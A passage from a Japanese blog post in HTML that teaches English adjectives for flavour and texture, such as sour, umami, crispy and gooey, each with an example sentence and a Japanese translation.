<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L35.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff2df"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff2df transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>This pasta sauce is a bit <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">salty</mark> for my taste.</strong><br>このパスタソースは私の好みには少ししょっぱいかも</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Sour：酸っぱい</h3>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L15.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fffcd4"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fffcd4 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Shota had to drink a glass of super <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">sour </mark>juice for a penalty for losing the game.</strong><br>翔太はゲームに負けたペナルティですごく酸っぱいジュースを飲まなきゃいけなかった</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Astringent：渋い</h3>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L16.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffedf1"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffedf1 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>The match green tea has a very <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">astringent </mark>taste.</strong><br>抹茶には強い渋みがあるんだね</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Bitter：苦い</h3>



<figure class="wp-block-image size-large"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="452" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/GroupDarkFinal.jpg?resize=678%2C452&#038;ssl=1" alt="" class="wp-image-6493" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/GroupDarkFinal.jpg?resize=1024%2C683&amp;ssl=1 1024w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/GroupDarkFinal.jpg?resize=300%2C200&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/GroupDarkFinal.jpg?resize=768%2C512&amp;ssl=1 768w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/GroupDarkFinal.jpg?resize=1536%2C1024&amp;ssl=1 1536w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/GroupDarkFinal.jpg?w=1800&amp;ssl=1 1800w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/GroupDarkFinal.jpg?w=1356&amp;ssl=1 1356w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L12.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#edfeff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #edfeff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>This craft beer you got me in the States has a <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">bitter </mark>taste that lingers on the palate.<br></strong>この君がアメリカで買ってきてくれたクラフトビールは口に残る苦味があるね</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Bittersweet：ほろ苦い</h3>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L31.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe9d5"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffe9d5 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>This chocolate has a <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">bittersweet</mark> taste that goes well with wine.</strong><br>このチョコレートのほろ苦さはワインとあうね</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Savory／Umami：うま味がある</h3>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L7.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e0f3ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e0f3ff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>My girlfiriend makes good miso soup by making broth from dried bonito flakes to bring out the <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">umami</mark><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">／</mark><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">savory.</mark></strong><br>俺の彼女って鰹節でだしをとってうま味を引き出した美味しい味噌汁を作るんだ</p>
</div></div></div>



<p><br></p>



<h3 class="wp-block-heading">Tangy：爽やかな酸っぱさ</h3>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L8.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff3d0"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff3d0 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p>T<strong>he yuzu orange has a rich aromatic <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">tangy </mark>flavor that adds a refreshing kick to the dish.</strong><br>柚子の豊潤な香りと酸味が料理にさわやかなアクセントをプラスするんだ</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Nutty / roasty：香ばしい</h3>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L39.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e6ffe2"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e6ffe2 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>This bread has a delicious<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color"> nutty </mark>flavor.</strong><br>このパンは香ばしいナッツの風味がする</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_R9.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>The <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">roasty </mark>aroma of freshly brewed coffee filling the room is a morning treat.</strong><br>部屋に広がる淹れたてコーヒーの香ばしい香りは朝の楽しみだよね</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Smoky：燻製のような香り</h3>



<figure class="wp-block-image size-large"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="452" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/smoked-salmon-on-the-grill-2217138-hero-01-82cf8ee7779c4a388b132026876a85ab.jpg?resize=678%2C452&#038;ssl=1" alt="" class="wp-image-6495" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/smoked-salmon-on-the-grill-2217138-hero-01-82cf8ee7779c4a388b132026876a85ab.jpg?resize=1024%2C683&amp;ssl=1 1024w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/smoked-salmon-on-the-grill-2217138-hero-01-82cf8ee7779c4a388b132026876a85ab.jpg?resize=300%2C200&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/smoked-salmon-on-the-grill-2217138-hero-01-82cf8ee7779c4a388b132026876a85ab.jpg?resize=768%2C512&amp;ssl=1 768w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/smoked-salmon-on-the-grill-2217138-hero-01-82cf8ee7779c4a388b132026876a85ab.jpg?w=1500&amp;ssl=1 1500w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/smoked-salmon-on-the-grill-2217138-hero-01-82cf8ee7779c4a388b132026876a85ab.jpg?w=1356&amp;ssl=1 1356w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L36.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff2ea"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff2ea transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>The whiskey&#8217;s distinctive <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">smoky</mark> aftertaste is irresistible.</strong><br>そのウイスキーの特有のスモーキーな後味がたまらないんだ</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Fishy：生臭い、魚くさい</h3>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L5.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>My hands smell <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">fishy</mark> after cleaning the tuna.</strong><br>マグロを下ろした後だから手が魚臭いんだ</p>
</div></div></div>



<p></p>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217"/></figure>



<h2 class="wp-block-heading">味の特徴や食感を表す形容詞＆Sizzle Word（シズルワード）</h2>



<figure class="wp-block-image size-large"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="381" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/b0c0dd0388a083f3bc23a7d8e6252ef7.png?resize=678%2C381&#038;ssl=1" alt="" class="wp-image-6468" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/b0c0dd0388a083f3bc23a7d8e6252ef7.png?resize=1024%2C576&amp;ssl=1 1024w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/b0c0dd0388a083f3bc23a7d8e6252ef7.png?resize=300%2C169&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/b0c0dd0388a083f3bc23a7d8e6252ef7.png?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/b0c0dd0388a083f3bc23a7d8e6252ef7.png?resize=678%2C381&amp;ssl=1 678w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/b0c0dd0388a083f3bc23a7d8e6252ef7.png?w=1200&amp;ssl=1 1200w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>



<p>味の特徴や食感を表す形容詞も合わせて覚えるとグンと会話が広がります。<strong>Sizzle Word（シズルワード）</strong>とは、食感や、食欲、購買意欲をそそる「ジュージューいう」「とろける」といった感覚（五感）に訴える表現です。英語でも、サクサク、ふわふわ、ジューシーなどの形容詞が、商品や料理の魅力を引き出すパワーワードとしてマーケティングで多用されます。</p>



<h3 class="wp-block-heading">Melty／Melt-in-the-mouthとろける、口の中で溶ける</h3>



<p>チーズ、チョコなどにによく使用されます</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L22.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffefee"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffefee transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>This <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">melty </mark><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">／</mark><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">melt-in-the-mouth</mark></strong> <strong>chocolate is super smooth that it practically disappears the moment it touches your tongue.</strong><br>このとろけるチョコレートは、超なめらかで、舌に触れた瞬間にほとんど消えてしまうよ</p>
</div></div></div>



<h3 class="wp-block-heading">Fluffy：ふわふわ、ふんわり</h3>



<p>パンケーキ、ケーキなどにによく使用されます</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L24.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff4ed"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff4ed transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>The <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">fluffy </mark>pancake is so light and soft that it almost melts in your mouth.</strong><br>ふわふわのパンケーキはすごく軽く柔らかくて口の中でとろけるような食感だね</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Chewy：もちもち、噛み応えがある</h3>



<p>タピオカ、ベーグル、もち、ガム、グミなどにによく使用されます</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal  has-text-color has-cyan-bluish-gray-color" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L28.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color has-white-background-color vk_balloon_content-border-true has-text-color has-cyan-bluish-gray-color"><span class="vk_balloon_content_before  has-text-color has-white-color"></span><span class="vk_balloon_content_after  has-text-color has-cyan-bluish-gray-color"></span>
<p><strong>These <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">chewy </mark>gummies have a firm bite that makes them surprisingly addictive.</strong><br>この噛み応えのあるグミのしっかりした食感は思わずハマってしまう</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Creamy：クリーミー</h3>



<p>スープ、デザートになどにによく使用されます</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L35.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e6fff5"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e6fff5 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>The chocolate truffle is smooth and <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">creamy</mark>, melting in your mouth with each bite. </strong><br>トリュフチョコはなめらかでクリーミー、一口ごとに口の中でとろけます</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Tender／soft：柔らかい</h3>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L16.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe7d7"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffe7d7 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>This fillet mignon is incredibly <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">tender</mark> and melts in your mouth.</strong><br>このフィレミニヨンはすごく柔らかくて口の中で解けてしまうね</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_R15.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff5dd"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #fff5dd"></span><span class="vk_balloon_content_after "></span>
<p><strong>As Ren took a bite of the <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">soft</mark>, freshly made French toast, he closed his eyes to savor its comforting warmth and delicate texture.</strong><br>一口食べると、蓮はその安らぐような温かさと繊細な食感を味わうために、そっと目を閉じたんだ</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Crispy：サクサク、カリカリ、パリパリ</h3>



<p>揚げ物、スナックなどにによく使用されます</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L30.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#eee4fe"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #eee4fe transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>The golden fried chicken has a <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">crispy </mark>crust and a soft, juicy inside.</strong><br>黄金色に揚がったチキンは、衣がサクサクで中は柔らかくジューシーだね</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Mellow：まろやか</h3>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L11.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fde7e7"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fde7e7 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>After years of aging, the balsamic vinegar develops a <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">mellow</mark> and creamy consistency.</strong><br>長年の熟成を経て、バルサミコ酢はまろやかでクリーミーなとろみが出てくるんだって</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Crunchy：カリカリ、ボリボリ、シャキシャキ、バリバリ</h3>



<p>ナッツ、野菜、ハード系食材にによく使用されます</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L14.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e8fcff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e8fcff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>The freshly made canelé has a <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">crunchy</mark> crust and a soft, custardy interior.</strong><br>出来立てのカヌレは、外側がカリッとして中はカスタードのようになめらかです</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Crusty：サクッとした</h3>



<figure class="wp-block-image size-large"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="377" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/cherry-cheddar-pie.jpg?resize=678%2C377&#038;ssl=1" alt="" class="wp-image-6490" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/cherry-cheddar-pie.jpg?resize=1024%2C569&amp;ssl=1 1024w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/cherry-cheddar-pie.jpg?resize=300%2C167&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/cherry-cheddar-pie.jpg?resize=768%2C427&amp;ssl=1 768w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/cherry-cheddar-pie.jpg?w=1440&amp;ssl=1 1440w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/cherry-cheddar-pie.jpg?w=1356&amp;ssl=1 1356w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>



<p>パン、パイなどにによく使用されます</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L23.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#dbecfa"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #dbecfa transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>With its golden, <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">crusty</mark>, this bread offers a satisfying snap in every bite.</strong><br>黄金色のパリッとした皮のこのパンは、一口ごとに心地よいパキッという食感なんだ</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Sticky：ねばねば、ベタベタ</h3>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L34.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffeada"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffeada transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Natto is very <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">sticky</mark> and an acquired taste for newcomers, but many grow to love it.</strong><br>納豆はとてもネバネバしていて、初心者が慣れるのには時間がかかる味ですが、多くの人が好きになります</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Gooey：とろり、ねっとり</h3>



<p>チーズ、チョコレート、キャラメル、マシュマロなどにによく使用されます</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L25.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>The chocolate lava cake has a warm, <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">gooey </mark>center that flows out when you cut it.</strong><br>チョコフォンダンショコラは、ナイフを入れると温かくてとろ〜りとした中身が流れ出すんだ</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Rich：濃厚な</h3>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/FACEc_L6.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#dffaef"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #dffaef transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>This hot chololate has a<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color"> rich </mark>and indulgent taste that satisfies your sweet cravings.</strong><br>このココアの濃厚で贅沢な味わいが、甘いものを求める心を満たしてくれるの</p>
</div></div></div>



<p></p>



<h3 class="wp-block-heading">Flaky：サクサク、ほろほろ崩れる</h3>



<p>パイ、魚などにによく使用されます</p>



